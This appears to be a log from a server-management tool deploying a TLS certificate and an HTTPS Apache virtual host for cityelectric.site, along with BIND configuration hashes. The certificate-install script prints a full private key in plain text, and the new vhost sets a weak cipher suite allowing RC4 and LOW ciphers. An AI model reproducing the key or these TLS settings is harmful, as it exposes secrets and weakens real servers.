MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= ead22db0f92a33841cc438de003f20f0
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 74618525f3c0ba81ceb567ef7724dba7
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-08-26 14:59:14: Establishing a remote connection
2025-08-26 14:59:15: 

PUT: /tmp/pkp233864

#!/bin/bash
temp_file=$(mktemp)
chain_file=$(mktemp)
TARGET=8b681b324e20018bd65d7ce40680da56.crt
CHAINTARGET=8b681b324e20018bd65d7ce40680da56.chain.crt

cat > $temp_file <<'endmsg'
8b:68:1b:32:4e:20:01:8b:d6:5d:7c:e4:06:80:da:56

-----BEGIN CERTIFICATE-----
MIIDXTCCAkWgAwIBAgIUBn2P/Z9FMdNbIoXYC8PHonkPz6YwDQYJKoZIhvcNAQEL
BQAwOzEaMBgGA1UECgwRVGhlWW91bmdEZXNpZ25lcnMxHTAbBgNVBAMMFFRoZVlv
dW5nRGVzaWduZXJzIENBMB4XDTI1MDgyNjE0NTkxNFoXDTI2MDgyNjE0NTkxNFow
HDEaMBgGA1UEAwwRY2l0eWVsZWN0cmljLnNpdGUwggEiMA0GCSqGSIb3DQEBAQUA
A4IBDwAwggEKAoIBAQDEWgngW6cP7fhqX7FAI5wKl7fQAwxaq8lnYeSC3QSeGwOi
GoZTnipZQn9qPQ2pHS9w6G+5pT7b1RUPA5yhyTgHoCFxYoKeBMitFRnIy4nS0cRx
AHisK53pbm0D2519QA9ikFHOwGgc2sxZBl+gjjn73yr63a2YeUXItQ+6lqxasq8K
DCUMTFbmQ23GtF8dKQN8id6GVO5G30iA56g4BVhh9/m8DS0me8QK99D2Rb+G+e30
2kr8JSUKuOQvJU8WQUNnn/kaGG6VRGEyY4MTgcNygYQXKipuLYV6AHU8jfZJ8kzc
HBewroYkpIFZriU2OlKrf2ZCRDpQjt2fANTWB+udAgMBAAGjeDB2MB0GA1UdDgQW
BBStUDh1JJKze2eAJ244Y4YnaRjYnTAfBgNVHSMEGDAWgBSFm24M/c0kteH10KQD
OIJXSzBz/DALBgNVHQ8EBAMCBaAwCQYDVR0TBAIwADAcBgNVHREEFTATghFjaXR5
ZWxlY3RyaWMuc2l0ZTANBgkqhkiG9w0BAQsFAAOCAQEAB93XnN0KTDWuykuYzTA4
IVglTWUifxp+PqBMeqlg44OGfDGKCgTDhMh83qtOnyXkr1Ef/Cxj83VDQhmbyDas
8z+muGSnkT/OjleB0p6S9pbcIn4BBxFuJXVrVDqPXFw8regMjcLzdAz2+UlyDosZ
kD5oAGn9k3DXmK07s3inPA2rN4Ow2IBOdX8S+zMQH3wRv8kjkqU8f49r/RhgHIgk
1x9HRXoleMaiZaG6Ydx1s/ZGnDIk1gCD7aawVUIRO71KIF4MmEY+uyCtAvvYCAIH
LHWpoNW0JOklcuIskD84PgAAANFwPfWCUnX6jh5ekkDA6VfF+Vw1wnMN56mzFkbb
rA==
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEWgngW6cP7fhq
X7FAI5wKl7fQAwxaq8lnYeSC3QSeGwOiGoZTnipZQn9qPQ2pHS9w6G+5pT7b1RUP
A5yhyTgHoCFxYoKeBMitFRnIy4nS0cRxAHisK53pbm0D2519QA9ikFHOwGgc2sxZ
Bl+gjjn73yr63a2YeUXItQ+6lqxasq8KDCUMTFbmQ23GtF8dKQN8id6GVO5G30iA
56g4BVhh9/m8DS0me8QK99D2Rb+G+e302kr8JSUKuOQvJU8WQUNnn/kaGG6VRGEy
Y4MTgcNygYQXKipuLYV6AHU8jfZJ8kzcHBewroYkpIFZriU2OlKrf2ZCRDpQjt2f
ANTWB+udAgMBAAECggEBAJRrxxlrzm2xIV0vNmnYQQSUyKIZG8aSIizeh4AQF4R3
wRhQ2obsgPB13qBsxB24bPr5CDMZYNmFSWTPAyAcXRkOhxkRMNDHpvWGhLYOfQD6
BXaxt4XVdolUKl2HLZXWzYpgsyYItOpSzbLhqXlQ6S2l9PQqiyU9Tm23x8rwSBpJ
sXu6pjLs+DmF0FavvaarVSyVQmkLtaojLNukDi5U1JmeqGKVE/1pv6sABoUrYN8L
kIbClH0SpOj62v6PJchP5560b8dNoQSY6cfgng0VYGZ756G7QsKCfD8XD16JIXUn
IK7RWA7b3e3StDYmI2ecGoAADgNzVnUgo8rnIh3uNLUCgYEA7tgSQ0PgWONtKYIR
X6adrxCJDmNwIAgs1+yhgLH+B00lDMrrYynUAd0P/4wouhM0YDP7bXIPRn6+XjQP
3JEe0Nej8wijAIkhJOX1+FW52iZe4QAE5IzV0ye3qgXzaeMVkmOkvbq62clMMnHV
Rqvfpzp/DL6bbKBuSS3QCrKwsSMCgYEA0nSbZvstdoNLSzyXHE6GrgDiz0mIGX3l
7iIds/ZwuLdVsAjpPd5tCcNJyzz4JmIpzEUYNZ+rhO5xsyIvxlTsCvqfq5LgCBVb
aTt4hgj/us9bEoRemFoVVb11sW8aqi0i98ehFgFSMMt6xrfhFpHBvOG1w9SxAUeE
ot9hdAYpnD8CgYBV67TmLczPLUFf5UKKvk2LZM9pNaxoWYiIRL/0pBNWXRIu//Cd
w7ZY1UWkEK+2AKKe2RRh0t5b5cxl5yStnCcRygFYtIqu7qXVuEQ8CdrJ93O6TV91
OJTTWT5hE7L1LJPeDap99maxYhDfNMQcoEfcyNZbp1YSRcRm3uwwbQfTMQKBgH/H
Wt9g3A6b0uhgZmNCblVRpmQzAhZwMV2vixdMJs6QSc9y6aKt3MhTsQdcAlLTwQsM
XJGaW3p/h7s6o4Uo5JQZ7T4wFCP0S6cN+7Rt3E8hPOt2QTUBZPjE6qOLkMYIV7XX
mD+TF8MWmHn1BQ49+0JiTIkVJ09ei/KT7EiUwUjjAoGBAKbXwKXY+cBSusDKeTxA
a/UKkvD3ysUVTaKSbmqEjSExLZ8lCAotbhjq2TdFepmYnxGvYJraVi6jEB8WTcrt
9HTN41XHZMGJ7e8R1QBT8cfyCc8wgY8FaVl/9tRQd6FQHyGRJe6cqgH+DICFmehv
OMjkVxxsaXzjkQkN3jbXb3Mz
-----END PRIVATE KEY-----


endmsg

cat > $chain_file <<'endmsg'


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	cp $chain_file /etc/ssl/certs/$CHAINTARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file
rm $chain_file


2025-08-26 14:59:15: 

chmod 755 /tmp/pkp233864; /tmp/pkp233864; rm /tmp/pkp233864



dir=/etc/ssl/certs


2025-08-26 14:59:16: 

PUT: /tmp/pkp663256

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/cityelectric_www_site.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-08-26 14:59:16: 

chmod 755 /tmp/pkp663256; /tmp/pkp663256; rm /tmp/pkp663256

(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/cityelectric_www_site.conf 45

<VirtualHost *:80>
    ServerName	cityelectric.site
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/cityelectric/www_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>





2025-08-26 14:59:17: 

PUT: /tmp/pkp667770

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=cityelectric_www_site.conf
TARGET=/etc/apache2/sites-enabled/cityelectric_www_site.conf
DOCROOT=/var/www/cityelectric_www
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cityelectric.site
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/cityelectric/www_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cityelectric.site
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/cityelectric/www_secure_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/cityelectric
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/cityelectric_www_site.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/cityelectric_www_site.conf)= /etc/apache2//etc/apache2/sites-enabled/cityelectric_www_site.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/cityelectric_www_site.conf= 1'
fi


2025-08-26 14:59:17: 

chmod 755 /tmp/pkp667770; /tmp/pkp667770; rm /tmp/pkp667770



link(/etc/apache2/sites-enabled/cityelectric_www_site.conf)= /etc/apache2//etc/apache2/sites-enabled/cityelectric_www_site.conf
file(/etc/apache2//etc/apache2/sites-enabled/cityelectric_www_site.conf= 1


2025-08-26 14:59:18: 

PUT: /tmp/pkp132510

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-08-26 14:59:18: 

chmod 755 /tmp/pkp132510; /tmp/pkp132510; rm /tmp/pkp132510



.


2025-08-26 14:59:20: Establishing a connection
2025-08-26 14:59:20: 

PUT: /tmp/pkp699421

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-08-26 14:59:20: 

runuser -l bind -s /bin/bash -c '/tmp/pkp699421; rm /tmp/pkp699421'

2025-08-26 14:59:20: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
